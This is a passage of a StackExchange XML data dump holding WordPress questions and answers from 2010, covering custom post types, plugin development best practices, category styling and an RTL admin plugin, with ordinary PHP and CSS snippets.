&lt;/p&gt;&#xA;" OwnerUserId="273" LastActivityDate="2010-08-23T16:09:01.153" />
  <row Id="746" PostTypeId="2" ParentId="733" CreationDate="2010-08-23T16:21:34.040" Score="0" ViewCount="" Body="&lt;blockquote&gt;As far as i can see i can only add certain &quot;products&quot; to it, i cannot add a &quot;archive&quot; of products.&#xA;&#xA;What I'm trying to do is add a link to the menu to go to a page which lists ALL products.&#xA;&#xA;Any idea how to do this?&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You would need to assign a taxonomy to the &quot;products&quot; post type then add the taxonomy term to one of your custom menus which would then take the user to an archive page of all products under the taxonomy used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example&lt;/strong&gt;&#xA;I have a custom post type called &quot;Jobs&quot; with a taxonomy labeled &quot;positions&quot;&#xA;&lt;img src=&quot;http://i.stack.imgur.com/JjnmJ.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I wanted all jobs with the &quot;Current Openings&quot; taxonomy term I would select it and add it to the menu.&#xA;&lt;img src=&quot;http://i.stack.imgur.com/GzAnc.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need to have all your &quot;products&quot; post types on the archive page you could assign a parent taxonomy to all of them so they could all be listed on the archive page.&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2010-08-23T16:21:34.040" CommentCount="2" />
  <row Id="747" PostTypeId="2" ParentId="715" CreationDate="2010-08-23T16:25:59.663" Score="16" ViewCount="" Body="&lt;h2&gt;Prevent SQL Injection with Input Data&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;A plugin &lt;em&gt;should&lt;/em&gt; &lt;strong&gt;sanitize all user input retrieved directly or indirectly (e.g. via &lt;code&gt;$_POST&lt;/code&gt; or &lt;code&gt;$_GET&lt;/code&gt;&lt;/strong&gt;) before using input values to query the MySQL database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See: &lt;a href=&quot;http://codex.wordpress.org/WordPress_Coding_Standards#Formatting_SQL_statements&quot; rel=&quot;nofollow&quot;&gt;Formatting SQL statements&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-25T19:00:22.427" LastActivityDate="2010-08-25T19:00:22.427" CommunityOwnedDate="2010-08-23T16:25:59.663" CommentCount="1" />
  <row Id="748" PostTypeId="2" ParentId="715" CreationDate="2010-08-23T16:29:33.873" Score="10" ViewCount="" Body="&lt;h2&gt;Announce Data-Loss on Plugin Uninstallation&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Upon uninstallation&lt;/strong&gt; a plugin &lt;em&gt;should&lt;/em&gt; &lt;strong&gt;prompt a user that it will be deleting it's data&lt;/strong&gt; and receive a confirmation that the user is okay with deleting the data before doing so and a plugin &lt;em&gt;should&lt;/em&gt; also &lt;em&gt;allow the user the option to keep the data&lt;/em&gt; upon uninstallation. (This idea from @EAMann.)&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Related&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/715/objective-best-practices-for-plugin-development/716#716&quot;&gt;Uninstall should remove all plugin's data&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/715/objective-best-practices-for-plugin-development/717#717&quot;&gt;Deactivation should not provoke to Data-Loss&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-25T19:37:06.550" LastActivityDate="2010-08-25T19:37:06.550" CommunityOwnedDate="2010-08-23T16:29:33.873" CommentCount="1" />
  <row Id="749" PostTypeId="2" ParentId="668" CreationDate="2010-08-23T16:29:45.353" Score="9" ViewCount="" Body="&lt;h3&gt;A Custom Fields UI&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;I think really custom fields with custom UI is really a big requirements for a lot of people. I mean, compulsory, repeating, grouped, multiple images, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a bunch of plugins trying to provide the functionality, but they are all add-ons and have to play catch up to new WP features every time. &lt;a href=&quot;http://magicfields.org&quot; rel=&quot;nofollow&quot;&gt;Magic Fields&lt;/a&gt; seems reasonably good as a start point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And they would make perfect addition to the new Custom Posts.&lt;/p&gt;&#xA;" OwnerUserId="273" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-23T18:28:17.610" LastActivityDate="2010-08-23T18:28:17.610" CommunityOwnedDate="2010-08-23T16:29:45.353" CommentCount="7" />
  <row Id="750" PostTypeId="1" CreationDate="2010-08-23T16:38:48.493" Score="2" ViewCount="96" Body="&lt;p&gt;I am building a custom theme WordPress instance, which needs to be Arabic at the public face and English on Admin site, but with RTL (flush right) in editing fields. My theme takes care of the public face, but I need help with themeing the admin side.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know there is a way to make the blog all Arabic, but I wanted all the admin labels and category names to stay English. I only want all admin text entry fields to become RTL. Oh, and plugins-generated text entry fields too, but I suspect that's more difficult.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know it is a CSS change, but not sure where to start with such partial customization of the interface. &lt;/p&gt;&#xA;" OwnerUserId="273" LastActivityDate="2010-08-23T19:39:19.353" Title="Setting up partial Right-to-Left admin interface" Tags="&lt;theme-development&gt;&lt;css&gt;&lt;multi-language&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="751" PostTypeId="2" ParentId="675" CreationDate="2010-08-23T16:50:04.327" Score="1" ViewCount="" Body="&lt;p&gt;I think you may be looking at this the wrong way. The new information in your old post is visible to viewers of &lt;strong&gt;both&lt;/strong&gt; the website and the RSS feed. That is, anyone accessing the RSS feed &lt;em&gt;after&lt;/em&gt; the post has been updated will see the latest version. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is true that anyone who accessed the RSS feed before the post was updated would not know when new information is available, but the same can be said for visitors to your website. The only way to notify your website visitors and RSS consumers that old posts have been updated is to create a new post saying in effect, &quot;Hey! My post on such-and-such has been updated! Go take a look.&quot;&lt;/p&gt;&#xA;" OwnerUserId="43" LastActivityDate="2010-08-23T16:50:04.327" CommentCount="1" />
  <row Id="752" PostTypeId="2" ParentId="715" CreationDate="2010-08-23T16:53:02.310" Score="21" ViewCount="" Body="&lt;h2&gt;I18n support&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;All output strings should be linked to an appropriate text domain to allow for internationalization by interested parties, even if the developer has no interest in translating their own plug-in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See: &lt;a href=&quot;http://codex.wordpress.org/I18n_for_WordPress_Developers&quot; rel=&quot;nofollow&quot;&gt;I18n for WordPress Developers&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="46" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-08-23T20:13:52.530" LastActivityDate="2010-08-23T20:13:52.530" CommunityOwnedDate="2010-08-23T16:53:02.310" CommentCount="2" />
  <row Id="753" PostTypeId="2" ParentId="715" CreationDate="2010-08-23T16:53:21.980" Score="7" ViewCount="" Body="&lt;h2&gt;License Plugins under a GPL Compatible License&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Plug-ins and themes &lt;em&gt;should&lt;/em&gt; be licensed under a WordPress-compatible license. This enables them to be re-distributed with WordPress as a &quot;program.&quot; A recommended license is &lt;a href=&quot;http://www.gnu.org/licenses/gpl.html&quot; rel=&quot;nofollow&quot;&gt;the GPL&lt;/a&gt;. &lt;em&gt;Take care that all code libraries included with the plug-in are compatible with the same license.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(This has &lt;a href=&quot;http://wordpress.stackexchange.com/questions/377/gpl-and-plugins&quot;&gt;been a problem&lt;/a&gt; and serious &lt;a href=&quot;http://wordpress.stackexchange.com/questions/5/am-i-allowed-to-license-my-wordpress-theme-under-the-agpl&quot;&gt;point of debate&lt;/a&gt; both in the past and &lt;a href=&quot;http://core.trac.wordpress.org/ticket/14685&quot; rel=&quot;nofollow&quot;&gt;present&lt;/a&gt;.) &lt;/p&gt;&#xA;" OwnerUserId="46" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2010-08-25T20:41:08.923" LastActivityDate="2010-08-25T20:41:08.923" CommunityOwnedDate="2010-08-23T16:53:21.980" CommentCount="1" />
  <row Id="755" PostTypeId="2" ParentId="715" CreationDate="2010-08-23T17:02:55.367" Score="14" ViewCount="" Body="&lt;h2&gt;Prefix All Global Namespace Items&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;A plugin should properly prefix ALL global namespace items (constants, functions, classes, variables, even things like custom taxonomies, post types, widgets, etc.). For example, do not create a function called &lt;code&gt;init()&lt;/code&gt;; instead, name it something like &lt;code&gt;jpb_init()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its common  should use a three or four letter prefix in front of names or to make use of the &lt;a href=&quot;http://php.net/manual/en/language.namespaces.dynamic.php&quot; rel=&quot;nofollow&quot;&gt;PHP Namespace Feature&lt;/a&gt;. Compare: &lt;a href=&quot;http://stackoverflow.com/questions/2479287/single-letter-prefix-for-php-class-constants&quot;&gt;Single-letter prefix for PHP class constants?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Related&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/715/objective-best-practices-for-plugin-development/771#771&quot;&gt;Global Namespace is a limited Resource&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="11" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-25T19:38:08.607" LastActivityDate="2010-08-25T19:38:08.607" CommunityOwnedDate="2010-08-23T17:02:55.367" />
  <row Id="756" PostTypeId="2" ParentId="741" CreationDate="2010-08-23T17:14:50.370" Score="0" ViewCount="" Body="&lt;p&gt;Here's some code to modify &lt;code&gt;get_terms()&lt;/code&gt; to exclude &quot;Uncategorized&quot; and any children:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// modify the term list to exclude &quot;Uncategorized&quot; and any children&#xA;function no_uncategorized( $terms, $taxonomies, $args ) {&#xA;    global $my_excluded_categories;&#xA;&#xA;    $uncategorized = term_exists( 'Uncategorized', 'category' );&#xA;&#xA;    $my_excluded_categories = get_term_children( $uncategorized['term_id'], 'category' );&#xA;    $my_excluded_categories[] = $uncategorized['term_id'];&#xA;&#xA;    $terms = array_filter( $terms, 'no_uncategorized_filter' );&#xA;&#xA;    return $terms;&#xA;}&#xA;&#xA;// used by array_filter to exclude anything in the excluded categories&#xA;function no_uncategorized_filter( $category ) {&#xA;    global $my_excluded_categories;&#xA;    return !in_array( $category-&amp;gt;term_id, $my_excluded_categories );&#xA;}&#xA;&#xA;// only done during template_redirect (the public-facing site)&#xA;function do_template_redirect() {&#xA;    add_filter( 'get_terms', 'no_uncategorized', 10, 3 );&#xA;}&#xA;add_action( 'template_redirect', 'do_template_redirect' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I think the real answer, though, is &lt;strong&gt;don't use categories&lt;/strong&gt;, instead &lt;strong&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_taxonomy&quot; rel=&quot;nofollow&quot;&gt;register your own taxonomy&lt;/a&gt;&lt;/strong&gt;. No more hidden categories, just a private taxonomy that isn't picked up by &lt;code&gt;wp_list_categories()&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="66" LastActivityDate="2010-08-23T17:14:50.370" CommentCount="1" />
  <row Id="757" PostTypeId="1" AcceptedAnswerId="758" CreationDate="2010-08-23T17:42:25.677" Score="0" ViewCount="200" Body="&lt;p&gt;After installed All in one SEO plugin my home page has two descriptions. One by WordPress itself and one by All in one SEO plugin. Is there a simple way to remove WordPress one?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please reconsider closing post as off-topic. Cos already done twice:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://webmasters.stackexchange.com/questions/2475/two-description-meta-tags-all-in-one-seo-wordpress&quot;&gt;http://webmasters.stackexchange.com/questions/2475/two-description-meta-tags-all-in-one-seo-wordpress&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://stackoverflow.com/questions/3549769/two-description-meta-tags-all-in-one-seo-wordpress-closed&quot;&gt;http://stackoverflow.com/questions/3549769/two-description-meta-tags-all-in-one-seo-wordpress-closed&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="383" LastEditorUserId="383" LastEditorDisplayName="" LastEditDate="2010-11-12T13:26:24.870" LastActivityDate="2010-11-12T13:26:24.870" Title="Two description meta tags All in One SEO WordPress" Tags="&lt;3.0&gt;&lt;seo&gt;&lt;all-in-one-seo&gt;" AnswerCount="1" />
  <row Id="758" PostTypeId="2" ParentId="757" CreationDate="2010-08-23T17:46:33.407" Score="2" ViewCount="" Body="&lt;p&gt;I'd need to see your site to be sure, but there's a very good chance it's your theme (not WordPress itself) that's setting the extra description field.  You can remove that from your &lt;code&gt;header.php&lt;/code&gt; file and you should be set.  WordPress itself doesn't have SEO features like that built-in.&lt;/p&gt;&#xA;" OwnerUserId="46" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-23T19:16:43.330" LastActivityDate="2010-08-23T19:16:43.330" CommentCount="2" />
  <row Id="759" PostTypeId="1" AcceptedAnswerId="766" CreationDate="2010-08-23T18:05:48.023" Score="1" ViewCount="194" Body="&lt;p&gt;Is there a way to have the styles on a page appear differently for certain categories, when viewing a page that is only of that category?&lt;/p&gt;&#xA;" OwnerUserId="293" LastActivityDate="2010-08-23T19:15:32.163" Title="Custom Stylings for category pages" Tags="&lt;categories&gt;" AnswerCount="3" />
  <row Id="760" PostTypeId="2" ParentId="759" CreationDate="2010-08-23T18:08:37.880" Score="1" ViewCount="" Body="&lt;p&gt;If you want, you can have a &lt;a href=&quot;http://codex.wordpress.org/Category_Templates&quot; rel=&quot;nofollow&quot;&gt;different template for each category&lt;/a&gt; with its own set of style definitions.  Then you can style the page differently for certain categories, but &lt;em&gt;only&lt;/em&gt; when viewing a page that is only of that category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just use these in your theme:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;category-slug.php&lt;/li&gt;&#xA;&lt;li&gt;category-ID.php&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-08-23T18:08:37.880" />
  <row Id="761" PostTypeId="2" ParentId="741" CreationDate="2010-08-23T18:20:28.937" Score="2" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Scott B&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE FROM PRIOR ANSWER&lt;/strong&gt;: Due you my evidently poor reading comprehension skills(!) where I missed the requirement to filter out children (Thanks &lt;em&gt;@Adam BlackStrom&lt;/em&gt; for calling attention to my oversight) I've modified the code provided.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I think you want to use the &lt;code&gt;list_terms_exclusions&lt;/code&gt; filter hook. Add this to your plugin (or others needing the same add to the bottom of your theme's &lt;code&gt;functions.php&lt;/code&gt; file):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_list_terms_exclusions($exclusions,$args) {&#xA;  $children = implode(',',get_term_children(1,'category'));&#xA;  $children = (empty($children) ? '' : &quot;,$children&quot;);&#xA;  return $exclusions . &quot; AND (t.term_id NOT IN (1{$children}))&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course the above will affect all category listings which you might not want so you might need to inspect the values in the &lt;code&gt;$args&lt;/code&gt; array or more likely inspect other global state to only add the filter criteria only in the context(s) in which you need it.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have specifics we of where you need help limiting please ask a follow up question so we can help.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;P.S. Also, I agree with Adam. If possible use a custom taxonomy.&lt;/p&gt;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-23T22:53:29.853" LastActivityDate="2010-08-23T22:53:29.853" CommentCount="9" />
  <row Id="762" PostTypeId="2" ParentId="759" CreationDate="2010-08-23T18:49:20.720" Score="0" ViewCount="" Body="&lt;p&gt;What Eric said. But if you only want to change the style, and not the markup, there's an easier way. As long as your theme includes the body_class() call in the opening body tag, WP will add all sorts of useful CSS hooks to your page. The default markup will add the follwing classes to the body element on a category archive:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;archive &lt;/li&gt;&#xA;&lt;li&gt;category&lt;/li&gt;&#xA;&lt;li&gt;category-slug&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;which you can style as you like. A lot of theme frameworks will add even more useful hooks to your body class, although some of them I can't possibly see the real-world use cases for.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2010-08-23T18:49:20.720" />
  <row Id="763" PostTypeId="1" AcceptedAnswerId="764" CreationDate="2010-08-23T18:50:12.853" Score="2" ViewCount="207" Body="&lt;p&gt;I'm looking for an efficiently coded plugin that will do 3 things...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Allow a person to rate a product when they submit a comment, based on a 5 star rating, by simply selecting the appropriate star on the 5 star icon widget.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) List the user's rating of the product, inline with their comment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) List an overall product rating, based on the cumulative ratings of each rater, at the top of the post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can place the relevant tags inside single.php and comments.php if need be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I like wp-postratings for the most part, but the ratings are not displayed beside each person's comment, they are just rolled up to the top, so you can't see what rating a particular reviewer gave the product. Other than that, its what I'm looking for.&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2010-09-22T07:50:29.147" Title="Amazon-like star ratings plugin needed. Lightweight and effective. Prefer Ajax" Tags="&lt;plugin-recommendation&gt;&lt;comments&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="2" />
  <row Id="764" PostTypeId="2" ParentId="763" CreationDate="2010-08-23T19:05:43.477" Score="1" ViewCount="" Body="&lt;p&gt;The &lt;a href=&quot;http://wordpress.org/extend/plugins/gd-star-rating/&quot; rel=&quot;nofollow&quot;&gt;GD Star Rating&lt;/a&gt; plugin is immensely popular, and has an &lt;a href=&quot;http://www.gdstarrating.com/&quot; rel=&quot;nofollow&quot;&gt;entire site&lt;/a&gt; dedicated to it.&lt;/p&gt;&#xA;" OwnerUserId="49" LastActivityDate="2010-08-23T19:05:43.477" CommentCount="2" />
  <row Id="765" PostTypeId="2" ParentId="536" CreationDate="2010-08-23T19:12:09.377" Score="2" ViewCount="" Body="&lt;p&gt;Yes, you can I get a site at &lt;code&gt;/blog&lt;/code&gt; running in &lt;code&gt;MULTISITE&lt;/code&gt;, but that needs adding some code. That's because Wordpress has a child-proof lock build in that you need to unlock first. This can be done by adding a hook function into the &lt;code&gt;subdirectory_reserved_names&lt;/code&gt; filter that passes an array with names that are blocked as parameter. Remove the entries you'd like to use and return the filtered array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take care because this child-proof lock has been build so that the words &lt;em&gt;'page', 'comments', 'blog', 'files', 'feed'&lt;/em&gt; could not be used by default. &lt;code&gt;/blog&lt;/code&gt; for example is reserved for the main site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more information please see &lt;a href=&quot;http://core.trac.wordpress.org/ticket/13304&quot; rel=&quot;nofollow&quot;&gt;ticket #13304&lt;/a&gt;, the related change that allows to override the reserved names was &lt;a href=&quot;http://core.trac.wordpress.org/changeset/14928&quot; rel=&quot;nofollow&quot;&gt;14928&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-08-23T19:12:09.377" />
  <row Id="766" PostTypeId="2" ParentId="759" CreationDate="2010-08-23T19:15:32.163" Score="3" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@GSto&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;@EAMann has a great answer if you want different layouts for different categories. OTOH &lt;strong&gt;if you only want to change the CSS to, for example, have a different background color for each category&lt;/strong&gt; then you'll find that most themes will include the category slug as a CSS class on the &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt; element and/or possibly other HTML elements that are output by the theme. (And even if your theme doesn't you could always add that functionality yourself.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example the TwentyTen theme does exactly that; for the following URL: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;http://example.com/category/category-1/&quot; rel=&quot;nofollow&quot;&gt;http://example.com/category/category-1/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Here's what the &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt; element looks like:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;&amp;lt;body class=&quot;archive category category-category-1&quot;&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Knowing the above you could add the following styles to your theme's &lt;code&gt;style.css&lt;/code&gt; file to have different color backgrounds for each page (I'm being very simplistic here of course; your actual CSS would certainly be more sophisticated):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* style.css */&#xA;body.category-category-1 {&#xA;  background-color: red;&#xA;}&#xA;body.category-category-2 {&#xA;  background-color: green;&#xA;}&#xA;body.category-category-3 {&#xA;  background-color: blue;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All you really need to do do figure out if your theme does this or not is to &lt;strong&gt;view source&lt;/strong&gt; on the category pages of interest and search for your category slug.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Use a Child Theme&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Of course you probably don't want to modify your theme's &lt;code&gt;style.css&lt;/code&gt;; you probably want to create a &lt;a href=&quot;http://wordpress.stackexchange.com/questions/290/customizing-a-wordpress-theme-without-changing-it/291#291&quot;&gt;&lt;strong&gt;&lt;em&gt;Child Theme&lt;/em&gt;&lt;/strong&gt;&lt;/a&gt; instead. Here are some answers where I talk about Child Themes:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/290/customizing-a-wordpress-theme-without-changing-it/291#291&quot;&gt;Customizing a WordPress Theme without Changing it?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/462/making-the-header-on-the-twenty-ten-theme-less-tall/463#463&quot;&gt;Making the Header on the Twenty Ten Theme Less Tall?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Note that not all themes support child themes, Thesis being one notable example. In the case of those themes you'll have to research more into how they are extended.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-08-23T19:15:32.163" CommentCount="2" />
  <row Id="767" PostTypeId="2" ParentId="737" CreationDate="2010-08-23T19:33:24.827" Score="2" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Jonathan Sampson&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;@EAMann is spot-on, Custom Post Types are the way to go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's code you can toss in your theme's &lt;code&gt;functions.php&lt;/code&gt; file to implement the Custom Post Type you need (note I included a helper function &lt;code&gt;make_post_type_labels()&lt;/code&gt; I like to use that reduces the complexity of defining Custom Post Types):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_post_type('daily-video',&#xA;  array(&#xA;    'labels'          =&amp;gt; make_post_type_labels('Daily Video'),&#xA;    'public'          =&amp;gt; true,&#xA;    'show_ui'         =&amp;gt; true,&#xA;    'query_var'       =&amp;gt; 'daily-video',&#xA;    'rewrite'         =&amp;gt; array('slug' =&amp;gt; 'daily-videos'),&#xA;    'hierarchical'    =&amp;gt; true,&#xA;    'supports'        =&amp;gt; array('title','editor',&#xA;  )&#xA;);&#xA;function make_post_type_labels($singular,$plural=false,$args=array()) {&#xA;  if ($plural===false)&#xA;    $plural = $singular . 's';&#xA;  elseif ($plural===true)&#xA;    $plural = $singular;&#xA;  $defaults = array(&#xA;    'name'               =&amp;gt;_x($plural,'post type general name'),&#xA;    'singular_name'      =&amp;gt;_x($singular,'post type singular name'),&#xA;    'add_new'            =&amp;gt;_x('Add New',$singular),&#xA;    'add_new_item'       =&amp;gt;__(&quot;Add New $singular&quot;),&#xA;    'edit_item'          =&amp;gt;__(&quot;Edit $singular&quot;),&#xA;    'new_item'           =&amp;gt;__(&quot;New $singular&quot;),&#xA;    'view_item'          =&amp;gt;__(&quot;View $singular&quot;),&#xA;    'search_items'       =&amp;gt;__(&quot;Search $plural&quot;),&#xA;    'not_found'          =&amp;gt;__(&quot;No $plural Found&quot;),&#xA;    'not_found_in_trash' =&amp;gt;__(&quot;No $plural Found in Trash&quot;),&#xA;    'parent_item_colon'  =&amp;gt;'',&#xA;  );&#xA;  return wp_parse_args($args,$defaults);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also you might find these two answers to be helpful as well:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/381/can-a-crunchbase-com-clone-be-implemented-using-wordpress/386#386&quot;&gt;Can a CrunchBase.com clone be implemented using WordPress&lt;/a&gt;?&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/128/tips-for-using-wordpress-as-a-cms/187#187&quot;&gt;Tips for using WordPress as a CMS&lt;/a&gt;?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-08-23T19:33:24.827" CommentCount="1" />
  <row Id="768" PostTypeId="2" ParentId="725" CreationDate="2010-08-23T19:35:45.320" Score="0" ViewCount="" Body="&lt;p&gt;Here's something I wrote a long time ago on the subject (note specifically related to WordPress):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blog.welldesignedurls.org/2007/02/05/urls-for-multilingual-web-sites/&quot; rel=&quot;nofollow&quot;&gt;URLs for Multilingual Web Sites&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="89" LastActivityDate="2010-08-23T19:35:45.320" />
  <row Id="769" PostTypeId="2" ParentId="750" CreationDate="2010-08-23T19:39:19.353" Score="1" ViewCount="" Body="&lt;p&gt;Good question. I was able to make the whole admin RTL with a little plugin (I wrote it as &lt;a href=&quot;http://hakre.wordpress.com/2010/05/01/must-use-and-drop-ins-plugins/&quot; rel=&quot;nofollow&quot;&gt;a must-use plugin&lt;/a&gt;, but should work in the in the standard plugin folder as well). It's a very simple version, see the output here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/ef6Eu.png&quot; alt=&quot;RTL Admin v0.1 screen output&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the plugin code (my file-name: &lt;code&gt;rtl-admin.php&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * RTL Admin Wordpress Plugin&#xA; *&#xA; * @-wp-header Plugin Name: RTL Admin&#xA; * @-wp-header Author: hakre&#xA; * @-wp-header Version: 0.1&#xA; * @-wp-header Author URI: http://hakre.wordpress.com/&#xA; *&#xA; * @author hakre &amp;lt;hakre.wordpress.com&amp;gt;&#xA; * &#xA; * Copyright 2010  hakre &amp;lt;hakre.wordpress.com&amp;gt;&#xA; *  &#xA; * This program is free software; you can redistribute it and/or modify&#xA; * it under the terms of the GNU General Public License as published by&#xA; * the Free Software Foundation; either version 3 of the License, or&#xA; * (at your option) any later version.&#xA; *  &#xA; * This program is distributed in the hope that it will be useful,&#xA; * but WITHOUT ANY WARRANTY; without even the implied warranty of&#xA; * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the&#xA; * GNU General Public License for more details.&#xA; * &#xA; * You should have received a copy of the GNU General Public License&#xA; * along with this program; if not, write to the Free Software&#xA; * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA&#xA; */&#xA;&#xA;class RTLAdminPlugin {&#xA; private static $instance;&#xA; public static function bootstrap() {&#xA;  defined('WP_ADMIN') &amp;amp;&amp;amp; WP_ADMIN &#xA;  &amp;amp;&amp;amp; (self::$instance === null) &#xA;  &amp;amp;&amp;amp; (self::$instance = new 